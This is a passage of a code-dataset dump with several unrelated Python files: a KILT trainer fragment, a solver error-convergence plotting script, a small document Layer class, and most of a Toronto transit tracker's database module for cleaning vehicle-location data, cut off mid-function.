checkpoint_callback=checkpoint_callback,\n callbacks=[LoggingCallback()],\n )\n\n if args.fp16:\n train_params[\"use_amp\"] = args.fp16\n train_params[\"amp_level\"] = args.fp16_opt_level\n\n if args.n_tpu_cores > 0:\n global xm\n\n train_params[\"num_tpu_cores\"] = args.n_tpu_cores\n train_params[\"gpus\"] = 0\n\n if args.n_gpu > 1:\n train_params[\"distributed_backend\"] = \"ddp\"\n\n trainer = pl.Trainer(**train_params)\n\n if args.do_train:\n trainer.fit(model)\n\n return trainer\n","repo_name":"facebookresearch/KILT","sub_path":"kilt/readers/t5/base_transformer.py","file_name":"base_transformer.py","file_ext":"py","file_size_in_byte":10221,"program_lang":"python","lang":"en","doc_type":"code","stars":858,"dataset":"github-code","pt":"62"} +{"seq_id":"37391055336","text":"from cProfile import label\nfrom curses import noecho\nfrom email import header\nfrom fileinput import filename\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport os\n\nfrom pytools import P\n\npathdirs = [\"rusanov\", \"roe\", \"hll\", \"hlle\", \"hllc\"]\nmarkers = [\".\", \"s\", \"o\",\"_\", \"+\"]\ncolors = [\"b\",\"k\",\"g\",\"r\",\"y\"]\n\nerror_norms = [\"L1(error)\", \"L2(error)\", \"Linf(error)\"]\n\n\n\npath = os.path.dirname(os.path.realpath(__file__))\nresolution = 2.0 / np.array([64, 128, 256, 562 ,1024])\n\nfor error_norm in error_norms:\n plt.figure(figsize=(8, 6))\n\n for i in range(len(pathdirs)):\n error = []\n filenames = [\"dace-128-64-claw-1000-500.xlsx\", \"dace-256-128-claw-1000-500.xlsx\", \"dace-512-256-claw-1000-500.xlsx\", \"dace-1024-512-claw-1000-500.xlsx\", \"dace-2048-1024-claw-1000-500.xlsx\"]\n for filename in filenames:\n df = pd.read_excel(f\"{path}/{pathdirs[i]}/{filename}\")\n error.append(df[error_norm][0])\n error = np.array(error)\n plt.loglog(resolution, error, label=pathdirs[i], marker=markers[i], color=colors[i]) \n slope, intercept = np.polyfit(np.log(resolution), np.log(error), 1)\n # slope = (np.log(error[-1])-np.log(error[0]))/(np.log(resolution[-1])-np.log(resolution[0]))\n print(slope, pathdirs[i])\n\n ax=plt.gca()\n ax.set_xscale(\"log\")\n ax.set_yscale(\"log\")\n \n # if error_norm == \"L2(error)\":\n # ax.set_xlim(10e-2, 1e-3)\n # ax.set_ylim(10e-7, 1e-9)\n # else:\n ax.set_xlim(10e-2, 1e-3)\n ax.set_ylim(10e-5, 1e-6)\n\n # ax.set_adjustable(\"datalim\")\n ax.set_aspect(\"equal\")\n\n plt.xlabel(\"resolution\")\n plt.ylabel(f\"h {error_norm}\")\n plt.title(f\"resolution vs h {error_norm}\")\n plt.legend()\n plt.savefig(f'{error_norm}.png', dpi=100)\n # plt.show()\n","repo_name":"baaiy0610/master-thesis","sub_path":"validation/SWE/sphere/error_with_resolution.py","file_name":"error_with_resolution.py","file_ext":"py","file_size_in_byte":1803,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"1551768477","text":"class Layer:\n \"\"\"\n A layer on a page, having a number and multiple strokes.\n \"\"\"\n def __init__(self, page, number, strokes=None):\n \"\"\"\n Constructor\n\n Positional arguments:\n page -- The Page object, which is the parent of this layer.\n number -- Layer number\n\n Keyword arguments:\n strokes -- List of Stroke objects (defaults to [])\n \"\"\"\n self.number = number\n self.page = page\n self.strokes = strokes\n\n if self.strokes is None:\n self.strokes = []\n","repo_name":"flyser/cournal","sub_path":"cournal/document/layer.py","file_name":"layer.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"62"} +{"seq_id":"30280494944","text":"#!/usr/bin/env python\n\n'''\nThis file is part of ttcskycam.\n\nttcskycam is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nttcskycam is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with ttcskycam. If not, see .\n'''\n\n'''\nTables definitions are below.\n\nThe \"time string\" columns here (eg. time_str, time_retrieved_str) are a muddle w.r.t. time zones. \n\ncreate table ttc_vehicle_locations (vehicle_id varchar(100), fudgeroute varchar(20), route_tag varchar(10), dir_tag varchar(100), \n lat double precision, lon double precision, secs_since_report integer, time_retrieved bigint, \n predictable boolean, heading integer, time bigint, time_str varchar(100), rowid serial unique, mofr integer, widemofr integer, \n\t\t graph_locs varchar(1000), graph_version integer, froute_version integer not null);\ncreate index ttc_vehicle_locations_idx on ttc_vehicle_locations (fudgeroute, time_retrieved desc);\ncreate index ttc_vehicle_locations_idx2 on ttc_vehicle_locations (vehicle_id, time_retrieved desc);\ncreate index ttc_vehicle_locations_idx3 on ttc_vehicle_locations (time_retrieved) ; \n\ncreate table predictions (fudgeroute VARCHAR(100), configroute VARCHAR(100), stoptag VARCHAR(100), \n time_retrieved_str varchar(30), time_of_prediction_str varchar(30), dirtag VARCHAR(100), vehicle_id VARCHAR(100), \n is_departure boolean, block VARCHAR(100), triptag VARCHAR(100), branch VARCHAR(100), affected_by_layover boolean, \n is_schedule_based boolean, delayed boolean, time_retrieved bigint, time_of_prediction bigint, rowid serial unique);\ncreate index predictions_idx on predictions (fudgeroute, stoptag, time_retrieved desc);\ncreate index predictions_idx2 on predictions ( time_retrieved );\n\ncreate table reports (app_version varchar(100), report_type varchar(20), froute varchar(100), direction integer, \n datazoom integer, time bigint, timestr varchar(30), time_inserted_str varchar(30), report_json text);\ncreate index reports_idx on reports (app_version, report_type, froute, direction, datazoom, time desc) ;\ncreate index reports_idx_3 on reports ( time desc, time_inserted_str desc ) ;\n# The last index above is for my personal browsing of the database, not for the code's needs. \n\n'''\n\nimport psycopg2\nimport sys, subprocess, re, time, xml.dom, xml.dom.minidom, pprint, json, socket, datetime, calendar, math, copy, threading\nfrom collections import defaultdict, Sequence\nfrom lru_cache import lru_cache\nimport vinfo, geom, grid, traffic, routes, yards, tracks, streets, snapgraph, predictions, mc, c, util\nfrom misc import *\n\nSECSSINCEREPORT_BUG_WORKAROUND_ENABLED = True\nSECSSINCEREPORT_BUG_WORKAROUND_CONSTANT = 12\n\nVI_COLS = ' dir_tag, heading, vehicle_id, lat, lon, predictable, fudgeroute, route_tag, secs_since_report, time_retrieved, time, mofr, widemofr, graph_locs, graph_version, froute_version '\n\nPREDICTION_COLS = ' fudgeroute, configroute, stoptag, time_retrieved, time_of_prediction, vehicle_id, is_departure, block, dirtag, triptag, branch, affected_by_layover, is_schedule_based, delayed'\n\nDISABLE_GRAPH_PATHS = False\n\nINTERP_USE_PATCHCACHE = c.USE_PATCHCACHES\n\nPASSWORD = file_to_string(os.path.expanduser('~/.ttcskycam/DB_PASSWORD')).strip()\n\ng_conn = None\ng_lock = threading.RLock()\n\ng_debug_gridsquaresys = grid.GridSquareSystem(None, None, None, None, None)\n\ndef connect():\n\tglobal g_conn\n\tDATABASE_CONNECT_POSITIONAL_ARGS = (\"dbname='postgres' user='dt' host='localhost' password='%s'\" % PASSWORD,)\n\tDATABASE_CONNECT_KEYWORD_ARGS = {}\n\tg_conn = psycopg2.connect(*DATABASE_CONNECT_POSITIONAL_ARGS, **DATABASE_CONNECT_KEYWORD_ARGS)\n\ndef conn():\n\tif g_conn is None:\n\t\tconnect()\n\treturn g_conn\n\ndef reconnect():\n\tglobal g_conn\n\t# Not sure if this try/except is necessary. Doing it because I would hate for a close() throwing \n\t# something to ruin my day here. \n\ttry:\n\t\tg_conn.close()\n\texcept:\n\t\tpass\n\tg_conn = None\n\tconnect()\n\ndef forget_connection():\n\tglobal g_conn\n\tg_conn = None\n\ndef lock(f):\n\t'''\n\t'''\n\tdef new_f(*args, **kwds):\n\t\twith g_lock:\n\t\t\treturn f(*args, **kwds)\n\treturn new_f\n\ndef trans(f):\n\t\"\"\"Decorator that calls commit() after the method finishes normally, or rollback() if an\n\texception is raised. \n\n\tThat we call commit() / rollback() is of course necessary in the absence of any standard\n\t'auto-commit mode' that we can count on.\n\t\"\"\" \n\tdef new_f(*args, **kwds):\n\t\ttry:\n\t\t\treturnval = f(*args, **kwds)\n\t\t\tconn().commit()\n\t\t\treturn returnval\n\t\texcept:\n\t\t\tconn().rollback()\n\t\t\traise\n\treturn new_f\n\n@lock\n@trans\ndef insert_vehicle_info(vi_):\n\tcurs = conn().cursor()\n\tcols = [vi_.vehicle_id, vi_.fudgeroute, vi_.route_tag, vi_.dir_tag, vi_.lat, vi_.lng, vi_.secs_since_report, vi_.time_retrieved, \\\n\t\tvi_.predictable, vi_.heading, vi_.time, em_to_str(vi_.time), vi_.mofr, vi_.widemofr, vi_.get_graph_locs_json_str(), vi_.get_cur_graph_version(), vi_.get_cur_froute_version()]\n\tcurs.execute('INSERT INTO ttc_vehicle_locations VALUES (%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,default,%s,%s,%s,%s,%s)', cols)\n\tcurs.close()\n\n@lock\ndef vi_select_generator(froute_, end_time_em_, start_time_em_, dir_=None, include_unpredictables_=False, vid_=None, \\\n\t\t\tforward_in_time_order_=False, include_blank_fudgeroute_=True):\n\tassert vid_ is None or len(vid_) > 0\n\tassert froute_ in (routes.NON_SUBWAY_FUDGEROUTES + [''])\n\tcurs = (conn().cursor('cursor_%d' % (int(time.time()*1000))) if start_time_em_ == 0 else conn().cursor())\n\tdir_clause = ('and dir_tag like \\'%%%%\\\\\\\\_%s\\\\\\\\_%%%%\\' ' % (str(dir_)) if dir_ != None else ' ')\n\tsql = 'select '+VI_COLS+' from ttc_vehicle_locations where '\\\n\t\t+('fudgeroute in (\\'\\', %s) ' if include_blank_fudgeroute_ else 'fudgeroute = %s ')\\\n\t\t+('' if include_unpredictables_ else ' and predictable = true ') \\\n\t\t+' and time_retrieved <= %s and time_retrieved > %s '\\\n\t\t+(' and vehicle_id = %s ' if vid_ else ' and vehicle_id != \\'\\' ') \\\n\t\t+ dir_clause \\\n\t\t+(' order by time' if forward_in_time_order_ else ' order by time desc')\n\tcurs.execute(sql, [froute_, end_time_em_, start_time_em_] + ([vid_] if vid_ else []))\n\twhile True:\n\t\trow = curs.fetchone()\n\t\tif not row:\n\t\t\tbreak\n\t\tvi = vinfo.VehicleInfo.from_db(*row)\n\t\tyield vi\n\tcurs.close()\n\nMIN_DESIRABLE_DIR_STRETCH_LEN = 6\n\n# arg for_traffic_ True means intended for colour-coded traffic display. False means for vehicle animations.\n# return dict. key: vid. value: list of list of VehicleInfo.\n\n# The approach taken with regards to dirtags is to get all dirtags from the database (0, 1, and blank), then fix those dirtags\n# ourselves to represent what the vehicle is really doing. We need to do this, rather than straightforwardly getting\n# only dir=0 or dir=1 dirtags from the database, for three reasons:\n# 1) Vehicles on an unscheduled detour have blank dirtags, and we want those.\n# See http://groups.google.com/group/nextbus-api-discuss/browse_thread/thread/61fc64649ab928b5 \"Detours and dirTag (Toronto / TTC)\"\n# eg. dundas eastbound 2012-06-09 12:00.\n# 2) Stuck vehicles (i.e. those that are on the route but haven't moved for say 5 or 30 minutes) tend to have blank dirtags too.\n# We want those too. (eg.: vid 4104, 2012-09-24 13:00.)\n# 3) Vehicles that are moving normally sometimes have dirtags that indicate the opposite direction that they are going.\n# My current theory on this is that this is due to bus driver error.\n# I commented on this at https://groups.google.com/forum/#!topic/nextbus-api-discuss/mJHTmi4aLBw/discussion\n\n# Note [1]: Here we attempt to remove what we consider trivial and unimportant (or even misleading) stretches of vis.\n# Currently using a rule that less than 6 vis or 300 meters is undesirable. We try to fix GPS noise small and large \n# so a stretch is unlikely to be considered undesirable because of that. But I think that showing a vehicle for a \n# small stretch would not be useful to the user and might confuse them too. \n#\n# When this function is used for vehicle locations (as opposed to color-coded traffic) and it involves vehicles taking detours,\n# a less than desirable situation can occur sometimes. If a vehicle takes a detour and the angle of the streets in that area\n# makes the widemofrs of the vehicle appear to be reversing (for example an eastbound Dundas vehicle detouring up Ossington\n# then continuing east on College) then the dirtag will be 'fixed' via widemofr and will appear to reverse for part of the detour.\n# While going eastbound on Dundas the vehicle will have increasing mofrs (and widemofrs) but then while going up Ossington it will have\n# decreasing widemofrs until it turns onto College where it will have increasing widemofrs again.\n#\n# So we want those vis going up Ossington, but only if the vehicle is going to continue east after. We can't tell if it is or not\n# if in the time window in question, it hasn't done that yet. So in that case the vehicle will disappear from the vehicle locations.\n# That is undesirable but not the end of the world. For a user watching current conditions, that situation for that vehicle will\n# usually last only a couple of minutes, until the vehicle gets onto part of the detour that is closer to parallel to the original route\n# (i.e. College). Then the widemofrs will increase again, and the vehicle-location-interpolating code will having something to\n# interpolate between (presumably something on Dundas right before it turned up Ossington, and something on College right after it\n# turned onto College.) These interpolated locations will not be as accurate as if we hadn't removed them in the first place,\n# but I don't see this as a major problem right now. Again this will only happen in a small number of cases where detours are happening\n# on streets at odd angles. With detours on streets at right angles, the mofr while going up the first street of the detour will\n# hopefully stay pretty close to unchanged for that stretch, so hopefully the dirtag won't be fixed. But the more I think about it,\n# the less I would count on it. I haven't tested that. More work is warranted here. Question for dirtag-fixing:\n# if widemofrs go like this: [0, 50, 100, 101, 100, 101, 100, 101, 100, 150, 200, ...] do we throw out the whole middle part\n# [100, 101, 100, 101, 100]? Wouldn't it be better if we tried to keep the two 101s in there? That would give us more accurate\n# interpolations in that area.\n#\n# Note 23946278623746 \n# Here we're making an effort, in a place where the vehicle is turning around, \n# to get one more vi than we would if we just looked at the dirtag. Doing this \n# because the dirtags aren't perfect and are often a little slow to change - \n# being 1 for the first vi after a turn-around when it should be 0, and vice \n# versa. eg. when the vi mofrs are like this: 75, 0, 25, 500, .... The \"25\" \n# vi will probably be set to 1 during our \"fix dirtags\" stage (which has \n# already happened), because the difference between 0 and 25 is less than the \n# threshold required for that code to consider it a change in direction. In an \n# area where the vehicles are slow for the first couple of minutes in the new \n# direction, this won't be much of a problem. But if they're fast enough (for \n# example, going from mofr 25 to 500 in a minute) then there will be a visually \n# large stretch where that vehicle doesn't show up. I noticed this on the \n# wellesley on ossington. \n@lru_cache(10)\ndef get_vid_to_vis_singledir(fudge_route_, dir_, num_minutes_, end_time_em_, log_=False):\n\tassert dir_ in (0, 1)\n\tsrc = get_vid_to_vis_bothdirs(fudge_route_, num_minutes_, end_time_em_, log_=log_)\n\tr = {}\n\tfor vid, vis in src.iteritems():\n\t\tout_vis = []\n\t\tfor i, vi in enumerate(vis):\n\t\t\tif vi.dir_tag_int == dir_:\n\t\t\t\tout_vis.append(vi)\n\t\t\telif i < len(vis)-1:\n\t\t\t\t# See note 23946278623746 \n\t\t\t\tnext_vi = vis[i+1]\n\t\t\t\tif next_vi.dir_tag_int == dir_ and \\\n\t\t\t\t\t\t(next_vi.widemofr > vi.widemofr if dir_ == 0 else next_vi.widemofr < vi.widemofr):\n\t\t\t\t\tout_vis.append(vi)\n\t\tr[vid] = out_vis\n\treturn r\n\n# 'stretch' here means a list of consecutive (time-wise) vis, for a single vehicle, \n# that have the same direction. \ndef remove_undesirable_dirstretches(vis_, pvis_, log_=False):\n\tassert vinfo.same_vid(vis_)\n\tdirstretches = get_maximal_sublists3(vis_, lambda vi: vi.dir_tag_int) # See note [1] somewhere \n\tif pvis_ is not None:\n\t\tpvis_.dirstretches = copy.deepcopy(dirstretches)\n\tdesirability_by_dirstretchidx = [is_dirstretch_desirable(stretch, log_) for stretch in dirstretches]\n\tif pvis_ is not None:\n\t\tpvis_.desirability_by_dirstretchidx = copy.deepcopy(desirability_by_dirstretchidx)\n\tdesirable_dirstretches = [stretch for i, stretch in enumerate(dirstretches) if desirability_by_dirstretchidx[i]]\n\tvis_[:] = sum(desirable_dirstretches, [])\n\ndef get_history_overshoot_start_time(end_time_, num_minutes_):\n\tstart_time = end_time_ - num_minutes_*60*1000\n\treturn start_time - (end_time_ - start_time)/2\n\n@lru_cache(10)\ndef get_vid_to_vis_bothdirs(froute_, num_minutes_, end_time_, log_=False):\n\ttime_window = TimeWindow(get_history_overshoot_start_time(end_time_, num_minutes_), end_time_)\n\tvid_to_vis = get_vid_to_vis_bothdirs_raw(froute_, time_window, log_=log_)\n\tfor vid in sorted(vid_to_vis.keys()): # sorting by vid just to ease debugging. \n\t\tvis = vid_to_vis[vid]\n\t\tadopt_or_discard_vis_with_blank_froutes(froute_, vis, log_=log_) # We have to call this before the filtering on \n\t\t\t\t# widemofr below, because to get a widemofr we need a fudgeroute to refer to. \n\t\tvis[:] = [vi for vi in vis if vi.widemofr != -1]\n\t\tyards.remove_vehicles_in_yards(vis)\n\t\tremove_time_duplicates(vis)\n\t\tif len(vis) == 0:\n\t\t\tdel vid_to_vis[vid]\n\t\t\tcontinue\n\t\tplausgroups = get_plausgroups(vis, froute_, time_window)\n\t\tvis[:] = get_best_plausgroup(plausgroups, log_=log_)\n\t\tfix_doubleback_gps_noise(vis, log_=log_)\n\t\tfix_dirtags(vis, froute_, time_window, log_=log_)\n\t\tremove_undesirable_dirstretches(vis, None, log_=log_)\n\t\tif len(vis) == 0: del vid_to_vis[vid]\n\treturn vid_to_vis\n\ng_patchcache_froute_to_time_window_n_vid_to_vis_bothdirs_raw = {}\n\ndef get_vid_to_vis_bothdirs_raw(froute_, time_window_, log_=False):\n\tassert froute_ and isinstance(time_window_, TimeWindow)\n\tr = None\n\tif c.USE_PATCHCACHES and froute_ in g_patchcache_froute_to_time_window_n_vid_to_vis_bothdirs_raw:\n\t\told_time_window, old_vid_to_vis_bothdirs_raw = g_patchcache_froute_to_time_window_n_vid_to_vis_bothdirs_raw[froute_]\n\t\tif old_time_window.span == time_window_.span and 0 <= time_window_.end - old_time_window.end < 1000*60*20:\n\t\t\tr = copy_vid_to_vis_bothdirs_raw_for_patchcache(old_vid_to_vis_bothdirs_raw)\n\t\t\tfor vid, vis in r.items():\n\t\t\t\ttime_window_.trim_vilist(vis)\n\t\t\t\tif not vis:\n\t\t\t\t\tdel r[vid]\n\t\t\tnew_all_vids_vis = list(vi_select_generator(froute_, time_window_.end, old_time_window.end, None, True))\n\t\t\tfor vid, new_vis in file_under_key(new_all_vids_vis, lambda vi: vi.vehicle_id).iteritems():\n\t\t\t\tnew_vis.sort(key=lambda x: x.time)\n\t\t\t\twork_around_secssincereport_bug(new_vis)\n\t\t\t\tif vid in r:\n\t\t\t\t\tr[vid] += new_vis\n\t\t\t\t\tr[vid].sort(key=lambda vi: vi.time) # In case NextBus gives us some out-of-order vis. I haven't seen this, \n\t\t\t\t\t\t\t# except for the 'secssincereport' bug, which we work around elsewhere, so this isn't here for that. \n\t\t\t\t\t\t\t# It's here in case I disable that work-around one day and then some out-of-order vis shows up anyway. \n\t\t\t\telse:\n\t\t\t\t\tr[vid] = new_vis\n\tif r is None:\n\t\tall_vids_vis = list(vi_select_generator(froute_, time_window_.end, time_window_.start, None, True))\n\t\t# We want to get a lot of overshots, because we need a lot of samples in order to determine directions with any certainty.\n\t\tr = file_under_key(all_vids_vis, lambda vi: vi.vehicle_id)\n\t\tfor vid, vis in r.iteritems():\n\t\t\tvis.sort(key=lambda x: x.time)\n\t\t\twork_around_secssincereport_bug(vis)\n\tprune_patchcache_get_vid_to_vis_bothdirs_raw(time_window_)\n\tg_patchcache_froute_to_time_window_n_vid_to_vis_bothdirs_raw[froute_] = \\\n\t\t\t(time_window_, copy_vid_to_vis_bothdirs_raw_for_patchcache(r))\n\tif log_: log_get_vid_to_vis_bothdirs_raw(froute_, time_window_, r)\n\treturn r \n\ndef log_get_vid_to_vis_bothdirs_raw(froute_, time_window_, r_):\n\tprinterr('Raw vis for froute=%s, %s' % (froute_, time_window_))\n\tfor vid, vis in iteritemssorted(r_):\n\t\tprinterr('raw vis for vid %s:' % vid)\n\t\tfor vi in vis:\n\t\t\tprinterr(vi)\n\ndef prune_patchcache_get_vid_to_vis_bothdirs_raw(time_window_):\n\tglobal g_patchcache_froute_to_time_window_n_vid_to_vis_bothdirs_raw\n\tfor vid, (time_window, data) in g_patchcache_froute_to_time_window_n_vid_to_vis_bothdirs_raw.items():\n\t\tif abs(time_window_.end - time_window.end) > 1000*60*30:\n\t\t\tdel g_patchcache_froute_to_time_window_n_vid_to_vis_bothdirs_raw[vid]\n\ndef copy_vid_to_vis_bothdirs_raw_for_patchcache(orig_vid_to_vis_bothdirs_raw_):\n\tr = {}\n\tfor vid, vis in orig_vid_to_vis_bothdirs_raw_.iteritems():\n\t\tr[vid] = vis[:]\n\treturn r\n\ndef adopt_or_discard_vis_with_blank_froutes(froute_, vis_, log_=False):\n\tassert len(froute_) > 0 and vinfo.same_vid(vis_)\n\tassert is_sorted(vis_, key=lambda vi: vi.time)\n\tidxes_to_discard = []\n\tfor i, vi in enumerate(vis_):\n\t\tif vi.fudgeroute == '':\n\t\t\tfor j in range(i-1, -1, -1):\n\t\t\t\tprev_vi = vis_[j]\n\t\t\t\tif prev_vi.fudgeroute != '':\n\t\t\t\t\tif vi.time - prev_vi.time < 1000*60*2:\n\t\t\t\t\t\tif log_:\n\t\t\t\t\t\t\tprinterr('Adopting vi w/ blank froute: %s' % vi)\n\t\t\t\t\t\tvis_[i] = vis_[i].copy() # Making a copy b/c vi might be cached. \n\t\t\t\t\t\tvis_[i].correct_fudgeroute(froute_)\n\t\t\t\t\telse:\n\t\t\t\t\t\tif log_:\n\t\t\t\t\t\t\tprinterr('Discarding vi w/ blank froute: %s' % vi)\n\t\t\t\t\t\tidxes_to_discard.append(i)\n\t\t\t\t\tbreak\n\tfor idx in idxes_to_discard[::-1]:\n\t\tvis_.pop(idx)\n\n# Can handle multiple vids. \ndef work_around_secssincereport_bug(vis_):\n\tassert all(isinstance(e, vinfo.VehicleInfo) for e in vis_)\n\tif SECSSINCEREPORT_BUG_WORKAROUND_ENABLED:\n\t\tfor vi in vis_:\n\t\t\tvi.secs_since_report = SECSSINCEREPORT_BUG_WORKAROUND_CONSTANT\n\t\t\tvi.calc_time()\n\t\tvis_.sort(key=lambda vi: vi.time)\n\ndef is_dirstretch_desirable(vis_, log_):\n\tassert vinfo.same_vid(vis_) and vinfo.same_dir(vis_)\n\tstretch_len_good = (len(vis_) >= MIN_DESIRABLE_DIR_STRETCH_LEN)\n\twidemofr_span_good = abs(vis_[0].widemofr - vis_[-1].widemofr) > 300\n\tr = (stretch_len_good or widemofr_span_good)\n\tif log_:\n\t\tprinterr('vi stretch %sdesirable. (stretch len good: %s, widemofr span good: %s):' \\\n\t\t\t% (('' if r else 'un'), stretch_len_good, widemofr_span_good))\n\t\tif len(vis_) == 0:\n\t\t\tprinterr('\\tstretch has zero length.')\n\t\telse:\n\t\t\tfor vi in vis_:\n\t\t\t\tprinterr('\\t%s' % vi)\n\treturn r\n\ndef remove_time_duplicates(vis_):\n\tfor i in range(len(vis_)-1, 0, -1): # Removing duplicates by time. Not sure if this ever happens.\n\t\t\t# I think that it could happen if the code that gets overshots is sloppy. \n\t\tprev_vi = vis_[i-1]\n\t\tif vis_[i].time == prev_vi.time:\n\t\t\tdel vis_[i]\n\ndef fix_dirtags(vis_, froute_, time_window_, log_=False):\n\tassert vis_ and vinfo.same_vid(vis_) and is_sorted(vis_, key=lambda vi: vi.time)\n\tD = 50\n\tif log_:\n\t\tprinterr('Fixing dirtags for vid %s' % vis_[0].vehicle_id)\n\t\tprinterr('dir=? %s' % vis_[0])\n\tfor curi in xrange(1, len(vis_)):\n\t\tfor olderi in xrange(curi-1, -1, -1):\n\t\t\twidemofr_diff = vis_[curi].widemofr - vis_[olderi].widemofr\n\t\t\tif widemofr_diff > D:\n\t\t\t\tfix_dirtag(vis_, curi, 0)\n\t\t\t\tif log_: printerr('dir=0 %s' % vis_[curi])\n\t\t\t\tbreak\n\t\t\telif widemofr_diff < -D:\n\t\t\t\tfix_dirtag(vis_, curi, 1)\n\t\t\t\tif log_: printerr('dir=1 %s' % vis_[curi])\n\t\t\t\tbreak\n\t\telse:\n\t\t\tif log_: printerr('dir=? %s' % vis_[curi])\n\ndef fix_dirtag(vis_, i_, dir_):\n\tvi = vis_[i_]\n\tassert isinstance(vi, vinfo.VehicleInfo) and dir_ in (0, 1)\n\tif dir_ == vi.dir_tag_int:\n\t\tpass\n\telse:\n\t\t# Making a copy to modify b/c the original might be cached. \n\t\tnew_vi = vi.copy()\n\t\tvis_[i_] = new_vi\n\t\tif vi.dir_tag_int == 1 and dir_ == 0:\n\t\t\tnew_vi.dir_tag = new_vi.dir_tag.replace('_1_', '_0_')\n\t\t\tnew_vi.is_dir_tag_corrected = True\n\t\telif vi.dir_tag_int == 0 and dir_ == 1:\n\t\t\tnew_vi.dir_tag = new_vi.dir_tag.replace('_0_', '_1_')\n\t\t\tnew_vi.is_dir_tag_corrected = True\n\t\telif vi.dir_tag_int is None:\n\t\t\tassert vi.dir_tag == ''\n\t\t\tnew_vi.dir_tag = '%s_%d_%s' % (new_vi.route_tag, dir_, new_vi.route_tag)\n\t\t\tnew_vi.is_dir_tag_corrected = True\n\t\telse:\n\t\t\traise Exception('Don\\'t know how to fix dir_tag on %s' % str(vi))\n\ndef fix_dirtag_str(dir_tag_, dir_, route_tag_):\n\tassert isinstance(dir_tag_, basestring) and dir_ in (0, 1)\n\tdir_tag_int = get_dir_tag_int(dir_tag_)\n\tif dir_ == dir_tag_int:\n\t\treturn dir_tag_\n\telif dir_tag_int == 1 and dir_ == 0:\n\t\treturn dir_tag_.replace('_1_', '_0_')\n\telif dir_tag_int == 0 and dir_ == 1:\n\t\treturn dir_tag_.replace('_0_', '_1_')\n\telif dir_tag_int is None:\n\t\tassert dir_tag_ == ''\n\t\treturn '%s_%d_%s' % (route_tag_, dir_, route_tag_)\n\telse:\n\t\traise Exception('Don\\'t know how to fix dir_tag \"%s\"' % dir_tag_)\n\ndef find_passing(froute_, vid_, start_time_, end_time_, post_, dir_):\n\tassert isinstance(froute_, str) and isinstance(vid_, basestring) and isinstance(post_, geom.LatLng)\n\tlastvi = None\n\tgen = vi_select_generator(froute_, end_time_, start_time_, dir_=dir_, include_unpredictables_=True, vid_=vid_, forward_in_time_order_=True)\n\tfor curvi in gen:\n\t\tif lastvi and geom.passes(curvi.latlng, lastvi.latlng, post_, tolerance_=1) \\\n\t\t\t\tand lastvi.mofr != -1 and curvi.mofr != -1 and mofrs_to_dir(lastvi.mofr, curvi.mofr) == dir_:\n\t\t\treturn (lastvi, curvi)\n\t\tlastvi = curvi\n\treturn None\n\ndef massage_whereclause_time_args(whereclause_):\n\tif not whereclause_:\n\t\treturn whereclause_\n\telse:\n\t\tr = whereclause_\n\n\t\t# The index used to be on the 'time' column. Now it's on 'time_retrieved'. \n\t\t# So doing selects on 'time' will be slow now. \n\t\t# I'm used to typing 'time' into the HTML page. So here I allow myself to keep doing that: \n\t\tr = re.sub(r'\\btime\\b', 'time_retrieved', r)\n\n\t\tuseoldtimecol = bool(re.search(r'\\buseoldtimecol\\b', r))\n\t\tr = re.sub(r'\\buseoldtimecol\\b', '', r)\n\n\t\tmo = re.search(r'\\bdev\\b', r)\n\t\tif mo:\n\t\t\tprinterr('trying.')\n\t\t\tdev_time = None\n\t\t\twith open('dev-options-for-traffic-php.txt') as fin:\n\t\t\t\tfor line in fin:\n\t\t\t\t\tif 'HISTORICAL_TIME_DEFAULT' in line:\n\t\t\t\t\t\tdev_time = re.search(r'\\d{4}-\\d{2}-\\d{2} \\d{2}:\\d{2}', line).group(0)\n\t\t\t\t\t\tbreak\n\t\t\tif dev_time is None:\n\t\t\t\traise Exception('time not found in dev options file.')\n\t\t\tr = re.sub(r'\\bdev\\b', \"'%s'\" % dev_time, r)\n\n\t\tdef repl1(mo_):\n\t\t\treturn str(str_to_em(mo_.group(0).strip('\\'\"')))\n\t\tr = re.sub(r'[\\'\"]\\d{4}-\\d{2}-\\d{2} \\d{2}:\\d{2}(?::\\d{2})?[\\'\"]', repl1, r)\n\n\t\tr = re.sub(r'\\bnow\\b', str(now_em()), r)\n\n\t\tdef repl2(mo_):\n\t\t\tt = int(mo_.group(1))\n\t\t\trange = 30*60*1000\n\t\t\treturn 'time_retrieved > %d and time_retrieved < %d' % (t - range, t + range)\n\t\tr = re.sub(r'time_retrieved +around +(\\d+)', repl2, r)\n\n\t\tdef repl3(mo_):\n\t\t\tt = int(mo_.group(3))\n\t\t\tdef rangestr_to_em(str_):\n\t\t\t\tif str_.endswith('h'):\n\t\t\t\t\treturn int(str_[:-1])*60*60*1000\n\t\t\t\telse:\n\t\t\t\t\treturn int(str_)*60*1000\n\t\t\tlo_range = rangestr_to_em(mo_.group(1)); hi_range = rangestr_to_em(mo_.group(2))\n\t\t\treturn 'time_retrieved > %d and time_retrieved < %d' % (t - lo_range, t + hi_range)\n\t\tr = re.sub(r'time_retrieved +around\\((\\w+),(\\w+)\\) +(\\d+)', repl3, r)\n\n\t\tif useoldtimecol:\n\t\t\tr = re.sub('time_retrieved', 'time', r)\n\t\treturn r\n\ndef massage_whereclause_lat_args(whereclause_):\n\tdef repl(mo_):\n\t\tn = float(mo_.group(1))\n\t\treturn ' '+str(g_debug_gridsquaresys.gridlat_to_lat(n))\n\treturn re.sub(r'\\s(-?\\d+(?:\\.\\d+)?)lat\\b', repl, whereclause_)\n\ndef massage_whereclause_lng_args(whereclause_):\n\tr = re.sub(r'\\blng\\b', 'lon', whereclause_)\n\tdef repl(mo_):\n\t\tn = float(mo_.group(1))\n\t\treturn ' '+str(g_debug_gridsquaresys.gridlng_to_lng(n))\n\treturn re.sub(r'\\s(-?\\d+(?:\\.\\d+)?)lng\\b', repl, r)\n\ndef massage_whereclause_dir_args(whereclause_):\n\tr = whereclause_\n\tr = re.sub('dir *= *0', 